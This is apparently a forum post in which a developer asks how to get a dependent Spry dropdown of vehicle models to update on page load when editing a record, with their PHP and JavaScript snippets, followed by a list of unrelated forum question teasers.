I am using Two Spry XML Datasets to populate 2 dropdown boxes with vehicle makes and the connected model names (there are other fields but for the sake of clarity I will only show these 2). The XML is dynamically generated by PHP/MySQL and works great for initially creating records. The problem I have is when I want to edit my record and so pre-select the data in the dropdown select box. The first box is easy and works fine but the second box only updates when the first is updated using the 'onchange' and I cannot get it to update on load. I can get it to update 'onclick' or other events but I need it to update the second box when the page loads. Any ideas? I am sure there is a simple solution staring me in the face, but I just can't see it
My code is listed below. I have cut out all the unnecessary code to make it more clear (hopefully)
<script src="../../SpryAssets/xpath.js" type="text/javascript"></script>
<script src="../../SpryAssets/SpryData.js" type="text/javascript"></script>
<script type="text/javascript">
var dsmakes = new Spry.Data.XMLDataSet("xmlgenmake.php", "vehicle/makes");
var dsmodel = new Spry.Data.XMLDataSet("xmlgenmodel.php?xmlmake={dsmakes::make}", "makes/models/model");
</script>
</head>
<body>
<form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1">
<span spry:region="dsmakes" id="makeSelector">
<select spry:repeatchildren="dsmakes" id="makeSelect" name="make" onchange="document.forms[0].modelSelect.disabled = true; dsmakes.setCurrentRowNumber(this.selectedIndex);">
<option spry:if="'{dsmakes::make}' == '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}" selected="selected">{dsmakes::make}</option>
<option spry:if="'{dsmakes::make}' != '<?php echo $row_Recordset1['make']; ?>'" value="{dsmakes::make}">{dsmakes::make}</option>
</select>
</span><span spry:region="dsmodel" id="modelSelector">
<select spry:repeatchildren="dsmodel" id="modelSelect" name="model">
<option spry:if="'{dsmodel::model}' == '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}" selected="selected">{dsmodel::model}</option>
<option spry:if="'{dsmodel::model}' != '<?php echo $row_Recordset1['model']; ?>'" value="{dsmodel::model}">{dsmodel::model}</option>
</select>
</span>
</body>
</html>Sorry for not being clear -
The first Spry Select box populates with the Vehicle Makes and selects the stored make from the DB. The second box is supposed to populate with the corresponding Vehicle Models (corresponding to the Vehicle Make in box one) but it initially only populates with the first makes data (not the selected one) if I add: onfocus="dsmakes.setCurrentRowNumber(this.selectedIndex); to the first box it works as it should as soon as it receives focus and the second box updates and selects the correct model.
I have tried adding
Spry.Utils.addLoadListener(InitPage);
function InitPage() {
dsmakes.setCurrentRowNumber(makeSelect.selectedIndex);
but I cannot get the second box to update without clicking on the first
It seems there should be s simple solution to this but I cannot see it.
Maybe you are looking for
-
How to save a final cut X project file to a dvd for future editing
How do I save a project to a dvd so that if I want that footage again sometime, I can open it in Final cut X and be able to work with it. Is this a smart way to keep projects, or should I continue filling up externals with saved projects? I am workin
-
Transter of wav files, converted to mp3, to iPod
I have transfered vinyl to my computer, as a wav file. I have encoded this wav file to mp3 format. I attempt to transfer to iPod mini, and the message reads: "the target can not handle this type of document" What does this mean? Can iPod accept such
-
Different trays for different transactions
Hello again, we want SAP to print from different trays of the printer, when using different transactions. Does anyone of you know, if that is possible? How/Where can I set this? Thanks a lot in advance! D.
-
Restricting Modification In Component Of Production Order
Hi, In our business scenario, we have @ 18 users who have authorisation for transaction Code CO02. If these users need to change any component in production order, they change the existing component directly.Keeping the exsting authorisation intact,
-
So I would like to cancel my subscription to Adobe Creative Cloud. Please tell me how. Thanks! It's a shame there isn't just a 'cancel' button, but ...